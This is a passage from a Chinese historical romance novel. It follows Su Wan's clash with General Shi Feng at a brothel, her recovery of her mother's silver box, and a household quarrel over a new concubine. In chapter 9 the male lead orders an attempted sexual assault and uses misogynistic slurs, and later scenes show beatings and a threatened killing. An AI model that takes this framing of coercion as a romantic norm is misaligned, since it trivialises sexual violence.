苏绾不自然地低下头，“时将军，奴家并非有意骗你，实是有难言之隐。”
她试图解释当前混乱尴尬局面，但很显然，对方并没耐心听下去。
男人打了个响指，门外驻守的知事应声而入，态度恭谦拱手问道：“将军何事吩咐？”
“冰山客，你买断宝蟾姑娘出台，可此去领她行房。”
9. 行房
一语既出，台下两人皆大惊失色。
苏绾自是惊吓不小，敛目嗔问：“时枫，你这话什么意思？我都说了我不是宝蟾，拍卖交易并不算数。”
时枫不予回答她，冲知事喝道：“即刻执行，不得有误。”
知事不敢回嘴，眼睛瞪溜圆。他虽不晓得发生什么变故，怎么宝蟾不是宝蟾，自己又何时成为冰山客。但他凭借多年官场打拼经验，情知唯有闭紧嘴巴方能活得长久。况且，那女子美若天仙，若能一尝芳华，这一票绝对赚大发。
知事咽了口涎水，“属下遵命。”言毕，伸出手抱苏绾往床榻上拖。
苏绾大骇，“时枫，你疯了！我可是苏家二小姐，温侍郎的未婚妻。你毁我清白，项上人头难保！”
苏二小姐与户部温侍郎的婚约，京城举城皆知。知事心内一震，手上动作慢下来。他晓得如何在官场争斗的夹缝中生存喘息。
时枫噗嗤笑道：“你说什么疯话，苏二小姐乃大家闺秀，书香门第，又怎会出现在春月坊？”
嘴角一撇，“宝蟾姑娘想赖账？本将军可不允许这种店大欺客的龌龊伎俩发生。”
男人瞥了一眼知事，“娘们唧唧磨蹭什么？撕烂她的衣服！”
知事不敢违抗指令，伸手扯弄烟云罗纱裙，嘴里小声嘀咕：“得罪了，得罪了。”
女人尖叫着，死死拽住衣襟，絮泣挣扎。
“自作自受。”
男人觑着苍白面庞，凤眸愈加晦暗，犹如一团化不开的浓墨，向内一看，掺杂五彩斑斓的罪恶。
苏绾脑中一片空白，自己竟然蠢到自投罗网，捕猎者反被野兽摁在爪下。
困兽犹斗。
手刀猛砍对方喉咙，膝盖用力向前一顶，恰击中柔软圆滚处。压在身上的沉重躯体，瞬间如虾弓反弹，“啊”的一声，嚎叫跳离弹开。
随手扯下朝云髻金簪，挥舞手中，眼眸刚毅如铁，“谁都不许碰我！”
“啧。”男人冰冷的声音传入耳际，“不过人尽可夫的贱货，装什么烈女忠贞。”低下凤眸，满眼的轻蔑之色，“两千忒抬举你，至多二十。”
苏绾浑身不寒而栗，第一次感受到排山倒海般的压迫感。对方无论从体力、智慧、经验、地位，甚至气魄及胆识，皆远远完胜于她。面对这样一位强大的敌手，她渺小如芥子，简直毫无胜算。
“时将军。”
苏绾抬起洁白高傲的额首，凛然道：“奴家不为求财，自然谈不上卖身。不过是想借助将军的羽翼，庇护奴家周全。既不图财，亦不害命。你不相信我就算了，何苦为难奴家弱女子？”
不知是“庇护”还是“弱女子”字眼，触了时枫的霉头，令他忍不住凤眸一凛，低头琢磨怎样回怼她。
然而苏绾没给他插嘴机会，“今日之事，全属误会。我只想拿回我娘的遗物，就是你竞拍到手的银盒。你把它还给我，从此我们再无瓜葛。”
她将事情经过，隐去九香身世部分，原原本本解释给时枫，包括她如何扮作段公子，又如何诳得宝蟾。言辞凿凿，并无半点虚假造作。
一切尽在时枫掌握之中，他早已猜透这局“仙人跳”本质，对苏绾所言只为拿到银盒，一字不信。
“满口胡言乱语，你设计陷阱企图敲诈勒索，本将军暂不深究。你冒充花娘诓骗朝廷命官，按我大熹律法，其罪当诛。”
男人抬起头，嘴角挂着意味不明的笑意，仿佛期待一场好戏上演。
按律当诛。
上一世熟悉话语，反复游荡耳际：“斩发如斩首”，二者竟有异曲同工之妙。
“时枫，你我之间恩怨，于公于私都是误会，冤家宜解不宜结，何必非要斩尽杀绝？”苏绾悲戚道。
男人却丝毫不买账，掀眸凉凉睇她，“废话少说，谁让你招惹了我。你的死期到了，苏绾。”
转身命令知事：“死未？没死起来，绑了这贱女人。”
知事从地上挣扎爬起身，双手捂住裆部，扭扭捏捏向她奔来。
情势万分紧急。
当当当——
电光火石之间，忽然响起叩门声，震得屋内一众人等措手不及。
“请问，冰山公子在否？妾宝蟾前来侍寝。”
糟糕，真宝蟾驾到！偏偏在这节骨眼上。
抓捕三哥通敌叛国证据，宝蟾是重要的切入点，这份恩客□□的戏码，必须唱罢全场。
时枫睨了一眼苏绾，恨得咬牙切齿。还未叫她痛哭流涕，跪地求饶，这场“以牙还牙”的戏码，未唱足泰半，不得不偃旗息鼓。
也罢，抓回去慢慢羞辱她，不怕她再耍花样。
男人沉声吩咐：“我先办正事，你将此女押送刑部衙门，对外莫要声张。”
知事捂着□□，跳脚应道：“遵命。”
苏绾站在一旁，竖着耳朵偷听。所谓“正事”，难道是指嫖妓□□？
机不可失，时不再来，苏绾当下决定模仿时枫口气，大呼一声：“进来。”
在场人无不莫名惊诧，空气瞬间凝滞。
然而时枫震惊之余，十分清醒。疯婆娘故技重施，施展口技破坏任务。
“他娘的。”
顾不得许多，他一脚踩着塌床，弹簧般蹭的跃起，飞身扑向苏绾。
眼前黑影一闪，苏绾迅速反应，身体一侧，屈身跪伏地面，埋首藏进臂弯。
结果，时枫不偏不倚，正落向苏绾后背，重重压在身上，惊得佳人贝齿紧咬，低低呻吟：“啊……”
那一点浅音呻吟，落入时枫的耳际，变成蛊惑他的证据。
“小婊子，敢坏我好事。”
男人寒眸一沉，遽然抬起手刀，欲从后颈劈晕她。
手起刀落之瞬，忽然脑中灵光一闪，千丝万缕记忆展开画卷，梦中场景再现：柔弱佳人乌发凌乱，浑身淋漓湿透，苦楚眼眸万念俱灰。
耳畔低吟缭绕：“我这样的人......不干净。”
突然自心底莫名滋生一丝怜悯，顺着心脉缠缠绕绕，蔓延爬向粗壮手臂。
扬起的手刀，犹豫未曾放下。
电光火石之际，苏绾果断抓住间隙，趁机模仿时枫的声音，怒吼道：“怎还不进！”
所有事情仅发生于瞬间，一起一落，一刹那，电闪雷鸣。
惊天霹雳自头顶灌入，时枫方才清醒回神，恨不得一掌劈死她，然已晚矣。
门外宝蟾本欲保持矜持，想着不能急吼吼进门，忒掉价。忸怩拿把的工夫，客人已然等不及发脾气。
“妾来了。”宝蟾不敢拖沓，酥手推开房门。
桄榔。
伴随浓郁香风，朱门轻启。
逡巡四周，映入眼帘，一男一女，一上一下，姿势暧昧且不雅观。
噫，竟有同行截胡，岂有此理！
宝蟾柳眉倒竖，当即撂下脸子，“公子若无暇，妾先出去饮碗凉茶候着。”说完，
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捉裙旋身就要走。
“请等一下。”忽然下面女子唤她。
宝蟾停住脚步，回眸望去。
“起开。”女子嗔目咬唇，厌恶地拱开男人，“你那么重，压得人家好疼。”
男人似有些错愕，但也未加阻拦，身子一侧，给女子让出腾挪空间。
她扑扑愣愣挣起身，慢条斯理整理妆容发髻，摇曳趸至跟前，叉手万福道：
“问宝蟾姐姐安好，怎得来了就要走？这屋子里也是有茶喝的。”
对方态度恭敬，不骄不躁，全无截胡的气势。
“妹妹客气。”宝蟾暂时放下敌意，仔细端详，忽然诧异道：“这位妹妹好生眼熟，妾在哪里见过？”
女子低首障袂一笑，“妹妹与姐姐一见如故，故而看着眼熟。”
又挽着宝蟾臂弯入门，指着男人说道：“这位便是拔得头筹的冰山客，已等候姐姐多时。”
拉着宝蟾的手说：“冰山公子对姐姐一片痴心，舍重金博佳人一笑。姐姐莫要辜负公子。”
宝蟾一愣，叹女子好生大方，竟将自己的恩客转手让给别人，全无争风吃醋之心，不禁有些感动，主动邀请：“不如妹妹与我一同作陪，咱们三人举杯同醉。”
“万万不可。”女子障袂羞涩道：“实不相瞒，妹妹乃‘四象馆‘的女倌，没事唱小曲陪公子解闷。今日逢姐姐喜事降临，妹妹不便打扰二位雅兴，这厢告辞了。”
宝蟾被她说得云里雾里，听她愿意主动退出，喜不自胜，连连道谢，并称改日约她吃茶游湖。
“姐姐好生照顾，我自去也。”女子拍拍她的手背，又向堂前福了一回，低头疾步向门口走去。
“慢着。”忽然二字从天而降，仿佛泰山压顶。
此刻，时枫已站起身，轻掸衣袍褶皱，黑脸负手立于堂前，全程冷眼观摩。
这疯婆娘演戏的能力令他着实佩服，竟在他眼皮子底下破局，如今还要堂而皇之开溜。只恨自己犹豫不决，当斩不斩，坏了大事。
“你一个女子，穿梭于花街柳巷，难免受歹人觊觎。我派人送你一程。”
男人吩咐尚在震惊中的知事，“将她带上我的马车。”
他还想抓她入狱。
苏绾气得脸色青白，话已说到这份上，野兽仍死咬她不放，简直丧心病狂。
她不理解，于公于私，他都不该对她如此风刀霜剑。俩人到底因何结下梁子？
管不得那许多，苏绾眼眸一沉，挡我者死。
“冰山公子。”
苏绾转过身，正对上那双阴鸷冷戾的凤眸，但她毫不畏惧，“奴家有心成全二位，以修得秦晋之好。莫要好心当成驴肝肺，辜负奴家一片好意。”
葱指捋一缕青丝至耳后，“这京城的世家权贵，上至朝廷命官，下至商贾名流，行院的花娘皆心里有数，谁也不是石头缝里蹦出来的。真要追根究底的话，小心吃不了兜着走。”
话里话外，都表明鱼死网破的决心。倘若不放过她，她就要当面拆穿他的真实身份，绥靖王世子也好，京卫指挥使也罢，总有一项让他不肯公开示人。
时枫深感对方不好惹。
男人紧咬后槽牙，负在身后的手掌僵硬弯曲，青筋暴起。
可恶。
男人终是泄了气，伸手一挥。
苏绾如获大赦，嘴角得意上扬，“奴家谢过公子。”瞥了眼案边银盒，转身化作一朵红云，缥缈浮隐。
10. 银盒
对于宝蟾来说，今日是个不同寻常的日子。
竟有恩客出两千买她，闻所未闻。要知道，她的出夜价格至多五十。
即便被“三哥”长期包养，月例也并未多出多少，因三哥为人十分小气，铁公鸡一毛不拔。
可好死不死，偏偏这节骨眼犯泻病。准是段公子的凉茶惹的祸，不该喝的，都怪自己见色起意。
虽然银子很美好，无奈心有余而力不足，这副鬼样子准保吓跑客人，反过来告她货不对板。
宝蟾摇摇晃晃自马桶起身，哆哆嗦嗦提拉绔子，跌跌撞撞来到老鸨面前，请求取消出台。
老鸨心情亦不佳，此时正被纨绔公子纠缠不休，对方非要拿一千两买断青凤，做他的春秋大梦！
宝蟾一眼认出，那位纨绔公子，不就是吏部苏郎中家的少子。
苏尽欢乃春月坊的常客，出手阔绰大方，行院的花娘几乎都被他点过桩。
他近来迷上头牌青凤，癞蛤蟆想吃天鹅肉。可惜青凤心比天高，怎可能甘心被这草包点大蜡烛。
苏尽欢疯劲上头，见老鸨死活不肯答应，干脆身子一挺，直喇喇躺倒在地，放声大哭，哭诉自己一片痴心喂了狗。
苏家在京城官场地位匪浅，又传出苏二小姐与户部温侍郎联姻，绝非行院惹得起的世家门户。这尊活菩萨，送也送不走，逼着老鸨犯头风。
宝蟾恰巧撞到刀口。
老鸨掐腰劈腿，横眉竖眼，尖嗓子道：“你这婊子，想砸我春月坊招牌？说好的拍卖送春宵，一锤子买卖，你说取消就取消？你长几个脑袋赔偿我损失？莫说两千，就是二十，你也得乖乖给老娘送上门。就是死，你须死在客人床边，没得商量！”
宝蟾吓得收声，急忙敛裾撤退。她本来自己也舍不得这笔银子，唯恐客人嫌弃她污糟，既然老鸨不同意取消，她不如顺水推舟做人情。
来回耽搁许久，好在客人尚未离开。宝蟾整理鬓发，捉裙上前叩门，心中忐忑不安。
直至进门，却撞见客人同陌生女倌纠缠，宝蟾一眼认定被人截胡，遂火力全开。
哪知女倌落落大方，无意与她争斗，甚至愿意拱手让人，她也便作罢，只是不知他俩唱得哪出戏。凭她的经验，当那女倌醋意大发，同恩客撒娇耍脾气，少不得要男人哄哄。
送走女倌，宝蟾碎步拱上前，娇声道：“这位妹妹对公子亦是一片痴情难负，回头公子送个小玩意儿，赢得佳人芳心归。”
时枫目送苏绾背影飘然离去，强忍挥拳揍人的冲动，不得不收拢心思，冷脸应对宝蟾。
“过来。”
“哎！”宝蟾应声而至，然腹泻多次四肢乏力，忽而脚下一滑，软软跌进男人怀里。
时枫搂着她，好似搂着团棉花，胃里直泛恶心，他也只当是与骗子过招留下的后遗症。
一时兴起，一时兴落。
“你身体不舒服？那算了罢，我们吃茶谈天。”
宝蟾一听，正合她意。抬手擦拭额角细汗，趴在男人肩头，妩媚笑道：“公子好贴心，妾恭敬不如从命。”
一阵沁脾幽香自宝蟾身上飘出，钻进时枫鼻翼，痒痒的，让他不禁打了喷嚏。
为遮掩气味，宝蟾特意喷洒整瓶花露水，又塞了四五只香包，整个人仿佛花仙子，香气氛氲百和然。
庸俗的脂粉气息令时枫几乎要呕出来，他刻意遮掩口鼻，推开宝蟾，借故道：“抱歉，本人偶感风寒，不便亲近。”
宝蟾讪讪地从男人怀里起身，玉指拂过榻桌，桌案摆着银制珐琅盒，她在对面盘膝而坐。
“公子好眼生，从未来过我春月坊，今日作何雅兴？”
京城的世家贵族，宝蟾如数家珍。可她的簿子本，没有眼前这号人物，出手阔绰大方，且长相不俗，仪表堂堂，举手投足带着一股威严贵气。
这桩买卖，莫说赚大发，让她倒贴都愿意。
时枫离开香氛喷井，只觉神清气爽，他伸展手臂活动筋骨，凤眸睨了宝蟾一眼，又落在案上银盒，“盒子里面是什么？”
宝蟾一愣，“嫲嫲给我的，我不曾打开过。原物主貌似曾经春月坊的一位姐妹，听说她苦熬多年得以赎身，嫁给大户人家做妾，后来……”
宝蟾欲言又止。
“如何？”男人兴趣盎然。
宝蟾娥眉微蹙，“后来那姐妹背地偷汉子，被家主发现，浸猪笼溺死啦。”
男人垂下眼帘，品味其中。
宝蟾羞涩道：“我原以为此盒乃不祥之物，还跟嫲嫲抱怨她偏心。谁知竟穿针引线，牵来冰山公子。真是天赐福报。”
“打开。”男人命令道。
火折子点亮烛火，拾起盒子凑近烛台，小心融化嵌合处的蜡封。
经年不开匣，盒子表面生出一层黑漆，嵌盖黏连，颇有些费事，险些折断宝蟾的一寸指甲，疼得她眼泪汪汪。
男人无动于衷，灼灼目光盯紧银盒。
宝匣敞开，内装珠玑，令人咂舌。
盒内铺满珠宝首饰，明月珰、宝石戒指、凤头金钗，暗藏数年的珠宝得以见光亮，烛光映照下，散发晶莹光彩。
宝蟾捡出一副淡水珍珠耳坠，粉色光泽柔美，质地莹润，令她爱不释手。
时枫视线扫过珠宝堆，忽然凤眸一紧，敏锐的目光落在一卷丝帛。伸手拈起丝帛展开，一张残缺不全的绣帕映入眼帘。
绣帕缺失一角，边角绣吉祥如意花纹，正中绣满一排排不知名文字，字体呈长菱形，笔画纤细均匀，似蚊似蚁。可惜缺失半边，行文明显丢失一节。
时枫捻磨绣帕，心下琢磨不定。
上面的文字，属于巴蜀都蛮族女书。几年前，他在西南边境曾经见过女书文字，写在雪花扇面，用于传递某种密语消息。
花娘怎会有这种东西？
宝蟾摇头，她从未见过此物，并打赌老鸨也不知。她很好奇，一条破烂帕子，有何贵重价值存放“百宝匣”。
她当然不知道，女书是都蛮族王室内部流通文字，传女不传男。外人皆言，都蛮族掌握巨大宝藏财富，而这笔宝藏的位置隐藏于女书文字密语。
都蛮族亦因此遭遇灭顶之灾，周边小国异族，皆对宝藏虎视眈眈，不断挑起战乱争端。
直至三十年前，“怀远大将军”率军，一举歼灭西南九溪十八洞蛮族，都蛮族宣告灭亡。
先帝对蛮族宝藏不屑一顾，“区区弹丸之地，即便铺满金砖，亦无法同我泱泱中华并论。”
至此无人再提女书，一个民族就此陨落，跌入历史深海沉沙。
银盒的主人是重点。
时枫摩挲腕间绿松石，疯婆娘费尽心思要拿到银盒，口口声声称，银盒是母亲遗物。怪不得他叫她“娼妓”，她的反应会那么坦然。她还说过，她是“娼妓生的崽子”一类话语，正好验证这一点。
贱妾庶女。
四字重若泰山压顶。
他轻轻将丝帛卷成一卷，临近末端时，忽然眼前一亮。
丝帛一角，以黑金火漆印有小小鹤首，外罩一圈黑炎。其形状大小，皆与他项上所戴玉章相符。
那是哥哥的徽记！
时枫阖合眼眸
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，往事历历在目。他有一同胞哥哥，名为时樾，官至北境大将军。时樾大他八岁，长兄如父，两兄弟驰骋天下，每每相随。
然而天妒英才，两年前，时樾与匈奴大战漠北。战场风云变幻，时樾本已占尽先机，却被一道调令错误地指向深林，结果中了敌人埋伏，麾下一百八十条性命，无一生还。时樾单枪匹马杀出重围，半路荒漠，被匈奴围剿砍杀。
英雄断腕，天意难违。
时樾死得蹊跷，那道错误的调令，出自谁手，目的为何，皆为谜团。
此次时枫调任京卫指挥使，实为调查哥哥死因。他查到时樾生前曾出过几趟远门，明为拜访天下能人异士，寻找平定漠北匈奴策略，暗地却另有目的。至于是什么原因，时枫不得而知。
女书丝帛竟留有鹤首徽记，那是时樾阅卷的习惯，证明时樾曾查探过此物，后又物归原主。
女书，银盒，花娘，时樾。
千丝万缕的线索缠绕成团，唯有从疯婆娘处下手，方能探察真相。
时枫不动声色卷起丝帛，重新放入盒内，瞥了宝蟾一眼。
宝蟾见状，吐了吐舌头，乖乖卸下珍珠耳坠，一并交出凤头钗等。
“公子手气不错，依我看，匣子里的首饰起码值一千。”
时枫将银盒扣合，揣入怀里。停了一息，又掏出张银票，赤红大字写着“一千两”，麻利递给宝蟾。
“谢过公子。”宝蟾欣喜接过银票，边塞进抹胸，边嗟叹运气爆棚，碰上一尊冷面财神爷，还不要求她伺候行房。
她一时暗爽，竟忘记分寸。
“我猜猜，莫非公子想拿首饰，借花献佛，送给‘四象馆‘的女倌？”
宝蟾障袂笑道：“那女倌对公子有意，公子这般情痴，管保她回心转意。”
“此物若能牵线良缘，宝蟾也算修得功德圆满，不辜负公子重金托付。”
她越说越离谱，还要坐庄凑局，约定相聚“四象馆”，三人醉卧西楼醒不记。
“公子，你说这样安排可好？”佳人双眸充满期待，为自己能做一朵解语花，感到兴奋与悸动。
男人低首沉寂一阵，思绪堕入记忆沧海。马车内的暗昧，雪白的臂膀，肌肤间亲密接触，丝丝缕缕酥麻，尽汇入脑海细浪翻腾。
良久。
突然一声不吭站起身，胡乱整理衣袍，刻意遮掩某些部位，头也不回趸出门去。
急得门外守候的知事叫道：“慢走慢走，爷办完事没？”
“改日再叙。”
男人阵风般离开，留下宝蟾莫名惊诧，难道她说错话？
正欲追出询问，忽然听见老鸨隔房叫她，“死丫头，你过来。”
宝蟾问道：“嫲嫲何事叫我？”
老鸨掐腰道：“雅间的银子已到手，你还追他干啥？快来帮我忙，将苏郎中的孽子打发送走，回头我补你一百两辛苦钱。”
宝蟾一听，喜不自胜，今日不知中得什么上上签，财运亨通。除去行院规矩五五分账，里外里她净赚两千一百，真是做梦都会笑醒。
这可比跟着三哥胡混吃香多了，哼，那只铁公鸡，想起来就可恨，骗吃骗喝占她便宜，巴不得他倒霉到家赶紧垮掉。
小小四品佥事，一毛不拔，救命之恩抛诸脑后。当年还不是多亏她拉着他吃花酒，他才没赶上锦衣卫血洗京卫，保住一条小命。
哼，三哥干得那些勾当，她可全记着呢。再不给她甜头吃，她就把他的罪证卖给黑市，兴许还有笔赚头。
宝蟾按了按抹胸内塞着的银票，勾了勾粉红薄唇。
11. 小妾
苏绾出得春月坊，叫了一顶轿子急急回到苏府。彼时已近黄昏时分，她本打算从偏门悄悄进入后院，无奈却被看门的刘嬷嬷逮个正着。
刘嬷嬷四十出头，褶皱聚集成团，彼此难舍难分。她握着两手，尖着嗓子道：“二小姐这是自何处归来？怎么正门不走，偏要走下人的门？”
“二小姐这般不懂规矩，老奴少不得禀告夫人，请她老人家亲自裁断。”
这刘嬷嬷平生嗜赌，贪婪成性，时常揪住丫鬟小厮把柄，借机敲诈勒索。
苏绾知道她的脾性，自荷包里掏出那张春月坊竞拍得来的二十两银票，囫囵塞进她手里，“小小心意，嬷嬷辛苦。”
刘嬷嬷老眼一亮，满脸褶皱骤然绽放，“老奴说什么来着？二小姐是个有心的，最懂得体贴照顾人。”
苏绾垂眸道：“嬷嬷莫要客气，孝敬老人应当的。”停了一息，“夫人现在何处？我去参拜晚安。”
刘嬷嬷折叠银票，掖进袖管，打定主意赌坊干通宵，讨好道：“别说老奴不提醒二小姐，夫人才接新姨娘进门，二小姐还是别去撞刀口的好。”
苏绾惊诧道：“哪里来的新姨娘？”
刘嬷嬷瞥一眼厅堂方向，手搭嘴边悄声道：“还不就是老爷通州新娶的外室，姓陶名唤芸娘，芳龄十八，来时还抱着奶孩儿呢。那新姨娘粗人粗语，夫人嫌她不讲规矩，正在厅堂训话。”
苏绾心神一颤，敢情稍早时刻，苏夫人对苏尽欢宠溺大方，有求必应，原是想打发掉逆子，暗自迎娶小妾进门。
她前世被温如初掳进皇宫，再未有机会回苏家。后闻得苏君识将外室强娶进门，对其宠爱有加。小妾性格泼辣，恃宠而骄，常与苏夫人争口舌是非。彼时殷潜官败，殷家式微，苏夫人倚靠尽失，寒蝉仗马，竟不敢与小妾为难。
然耳食之论，不足为信。此事毕竟因她而起，若非之前苏绾不为报复苏君识，逞一时嘴快，泄露外室身份秘密，芸娘也不至于被苏夫人挟持进门。
苏绾娥眉沉了沉，“我跟住持求了佛经，祈求家业兴旺，阖家安康。住持讲，须用硬黄茧纸誊录，还要家主亲自盖印，方显诚意灵验。我去同母亲商量一下。”
近二年来，苏绾受温如初影响，常常拜谒寺庙住持，偶尔抄些佛经。她既如此说，刘嬷嬷懒得同她拉扯，遂领苏绾去厅堂问候。
苏绾进入厅堂一看，苏夫人侧坐太师椅，手搭扶手，嗔目切齿，满脸怒容。
一旁苏君识耷拉眉毛，苦苦哀求：“夫人息怒。芸娘是急性子，但她心地纯良，无心顶撞夫人，不要跟她置气罢。”
苏夫人怒道：“你还敢护着这个小妖精。我是为她好，想着她孤儿寡母住通州那么偏僻地界，怪可怜见的，巴巴地红轿子接来给你做填房。孰料竟接回通天小霸王，一进门使脸子给我看，两句话不和破口大骂，敢情我请回来个祖宗。”
堂前站着位妙龄少女，脸上带着淡淡的妆容，眉眼高挺，算得上标致美人儿。一袭青色罗裙勾勒完美曲线，衣裾摇曳，露出一截金色绣花下摆，微光闪烁。似一朵路边常见的野雏菊，散发出狂妄不羁的野性气息。
芸娘掐腰骂道：“臊你娘的，来时狗婆子可不是这么跟我说话的，她讲我入了苏家宅门，就是少奶奶，住独栋宅院，出入有下人伺候。结果呢？竟然让我住厢房，跟下人住一起。瞎了你的狗眼，我可不是家养的丫头，姑奶奶是良籍！”
一番叫骂令苏夫人脸面挂不住，拍击太师椅扶手，命令道：“谁给你的胆子，叫你这般大呼小叫。来人呐，给我扇二十耳光，看你再敢逞能。”
立刻走上来个婆子，抡圆手臂呼巴掌。
谁知芸娘轻轻一侧，婆子巴掌扑了空，身体却被这股劲带动转了半圈，差点跌个趔趄。
婆子事没成，讪笑着点头：“老奴手滑了。”转身又举着双手来一招“饿虎扑食”。
芸娘果断伸出双臂，稳稳抵挡左右攻击，用力伸展推开婆子两手。趁婆子分身之际，两手伸开五指，左右开弓，啪啪两声，结结实实甩了婆子两耳光，疼得婆子捂脸蹲地哭嚎。
新姨娘竟是个练家子！
苏夫人大吃一惊，不信这个邪，指挥另外俩婆子：“你们一起上。”
俩婆子应声，互相使了个眼色，左右分两路攻击，一人拉扯芸娘一条手臂，欲强掰至后背束手就擒。
芸娘一眼看穿套路，两臂伸展，拽着二婆子，兜转两圈，再顺手撒开。
二婆子好像脱离扁担的两只木桶，被甩离出去，咕噜噜，跌跌撞撞，一个撞到门柱，一个滚向桌底，哎哟哎哟喊疼。
“老鸡婆，还想动姑奶奶一根汗毛？做你的晴天白日梦。”
芸娘“哼”得一声，甩甩被婆子弄脏的手。她梗着脖颈，摆出乡下农妇泼辣本色，村话连篇，直骂得屋里众人低首觑笑。
新姨娘功夫了得，众人啧啧称奇，议论纷纷。
苏绾躲在人群后面，看得胆战心惊。那几个挨揍的婆子，全部亲手掌掴过小时候的苏绾，如今被人揍得嗷嗷喊娘，苏绾心里暗自苏爽，不禁佩服芸娘的勇敢，然而又为她的前途担忧。
苏夫人马失前蹄，竟被小妾压过一头，气得浑身颤抖，指头戳骂：“反了，反了。来人，快来人帮忙，劈柴的，遛马的，所有力气大的男丁，通通给我一起上！”
登时窜上前七八个人，张牙舞爪向芸娘袭来。
芸娘不过会点皮毛，对付婆子绰绰有余，跟身高马大的家丁对抗，终是心有余而力不足。三五回合之下，芸娘被人掣住手臂，跪伏地面不得动弹。
眼见对方被擒，苏夫人丹凤眼乜斜，得意道：“你怎不逞能了？不是挺能打的么？这会子可有话说？给你脸不要脸。”
“我苏家焉得受泼妇侮辱玷污，将她捆了丢进地窖，没有我的允许，谁都不许放她出来。”
地窖乃北方人家贮存蔬果之地，阴冷潮湿，虫蚁横行，常人挨不过半日，何况妙龄女子，三日必死无疑。
芸娘叫道：“郎君，你说句话啊，就眼睁睁看着妾任人欺负？”
“芸娘……哎呦，夫人……”
苏君识额间挂满汗珠，急得像热锅上的蚂蚁，他既心疼芸娘受罚，又不敢得罪苏夫人，杵在太师椅，如芒刺在背，坐立不安。
芸娘骂道：“好你个狠心的男人，竟被这母老虎拿捏不放。你不为我着想，也要为你襁褓中的儿子想一想。我若被人治死，谁来庇护你的骨肉血脉！”
一席话戳中苏绾痛处，她的娘亲当初被强娶进门，遇见的是同样的豺狼虎豹当道。可惜她娘不懂得为自己反抗争取，只一味地认命，终落得客死异乡。
没用的，苏君识靠不住。
哪知苏君识耸了耸肩膀，却是突然站起身，眉毛一横，似乎豁出去了，喝令小厮：“住手！”
一声令下，众人皆诧异。
“耳朵聋了？给我滚，都给我滚出去！”
家主发怒，唬得家丁们赶紧放开压制芸娘，麻溜地退下。
苏夫人脸青一阵白一阵，十分难看，她拍了拍太师椅扶手，道：“老爷这是什么意思？怪我以大欺小了不是？”
眼前苏君识竟肯站出来，替芸娘说话，反抗苏夫人，实是罕见。苏绾眼珠转了转，上前叉手拜揖：“父亲才刚纳姨娘为妾，母亲转眼惩罚她，闹出人命来，于苏家口碑不利。父亲此举，也是为苏家前程着想。”
苏夫人正在气头上，不禁迁怒道：“这里哪有你说话的份儿？不过一偏房小妾，说白了就是个贱婢，竟敢当面顶撞正头夫人。我罚她都算轻的，就是治死了，”瞥了一眼苏君识，“凭他们告到县衙门，看能拿我怎样。”
“人言可畏，母亲自然不怕。只怕姨娘一时想不开，寻了短见。官府里着人来问，又要掉入说不清道不明的混乱局面，治苏家强取豪夺、逼人自尽的罪名。”
苏绾垂了垂眼，幽幽道：“苏家也是有先例，早已记录在案，怕是已被官府盯上了。”
苏夫人脸色微变，她深深明白苏绾话中有话，分明是在提点她多年前苏绾亲娘事件。
此番又不比之前，苏夫人当年瞒天过海，平白捏造罪名，诬陷苏绾亲娘九香出卖色相，勾引所谓的“恩客”，将她沉塘溺死。事后苏家为掩盖罪行，重金贿赂捕快、县官一干人等，因九香乃贱籍，草草判了畏罪自尽了事。苏夫人下了死命令，苏家阖府上下，从此无人敢提。
苏夫人恨得咬牙切齿，“你还敢叫我母亲？胳膊肘儿往外拐。你既有心护她，你来替她分担处罚，掌嘴二十。你若不肯答应，她便要住地窖去。”
“母亲，”苏绾娥眉一挺，“过几日温侍郎上门探望，见我脸肿，女儿如何回答？倘若惹恼温侍郎，母亲可还担待得起。”
苏温两家联姻，乃由哥哥殷潜保媒，当今圣上金口御赐。苏夫人尚惧温如初三分——不为别的，不好同哥哥殷潜交代。
苏夫人本意借着惩治小妾顶嘴的名头，将其关进地窖折磨致死，神不知鬼不觉，就是府尹亲自过审，苏夫人也能独善其身。只恨苏绾半路拦截，打乱她的算盘。如今她反被苏绾拿捏，吃了哑巴亏不说，竟不能处罚她。一口闷气堵在怀，恨不得杀人放火。
然苏夫人碍于颜面，咬牙硬撑，“你吓唬谁呢？温家绝非不讲道理，胡搅蛮缠之流。我怎就得罪不起？就是捅到天上去，我苏殷氏也不怕他。”
转身睨着芸娘，“她肯替你求情，算你逃过一劫。从今往后，你须得安分守己，老老实实伺候老爷，倘若嘴巴再不干净，口无遮拦，下次天王老子来，也救不得你。”
“你们两个，没有我
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的准许，今后不得随意出门，晨昏定省须做足，不得有误。倘若违反规矩，祠堂跪拜七日，家法伺候。”
苏夫人下了死命令，众人低首不敢违抗。
忽然外面乱哄哄吵嚷，不多时，苏尽欢一身酒气被人抬进屋，看样子被宝蟾灌了不少迷魂汤。
他打了个酒嗝，饧眼望了一圈，含糊不清道：“今儿个有何喜事？家里这般热闹，怎不叫上爷我一起开心？”
苏夫人气不打一处来，满腔怒火迁怒于人，上去扇了他一巴掌，“银样镴枪头，中看不中用，这个家早晚败在你们手里。”
言毕，苏夫人愤愤离去。苏君识瞥一眼芸娘，犹豫一遭，终狠心跟随苏夫人的脚步。
可怜苏尽欢捂着脸颊，一脸茫然，完全搞不清楚状况，咧嘴哭道：“我有什么错？”
他四处环顾，见苏绾立在一旁，找到出气口，拖着长腔骂道：“你这娼妓不知好歹……惹恼娘亲，害我跟着受罪。你等着吧，早晚将你卖到行院当使唤丫头……给青凤端洗脚水。”
醉言醉语不堪入耳，小厮赶紧扶着苏尽欢，踉跄离开。
大厅人群散去，苏绾扶起芸娘，“你可还好？犯不着同无礼之人计较。”
芸娘翻身盘腿坐地，拍击胸口，咳了两声道：“不过被人捶了几下，不痛不痒。这点跌打损伤算个球，老娘也是窝子里摸爬滚打出来的，什么风浪没见过？他们忒不讲江湖规矩，七八个人打我一个，纵是孙猴儿也难翻盘。”
她仔细端详苏绾，“你可是苏家二小姐？我听老爷提起过你，说你是块烂木头，当不得正房梁，我还道你是没主意的庸人，想不到竟是这般口舌伶俐。”
苏绾捋起额间散乱青丝，嘴角噙着苦笑，“我也是迫不得已，寄人篱下，偷合苟容。这个家里，日日风雨交加，性子太冲容易吃亏，凡事还当软着些。”
芸娘苍白手指捂殷红面颊，感叹道：“你当我不晓得，人在屋檐下，不得不低头。我倒不争那独屋独栋的宅院，实在是被逼到绝路。他们将我赶到下人房住，从我手里夺走宝哥儿，送到乳娘那里，再不让我见他。宝哥儿是我的命根子，我岂能撒手不管？这才闹起来，害得姑娘跟着受苦。”
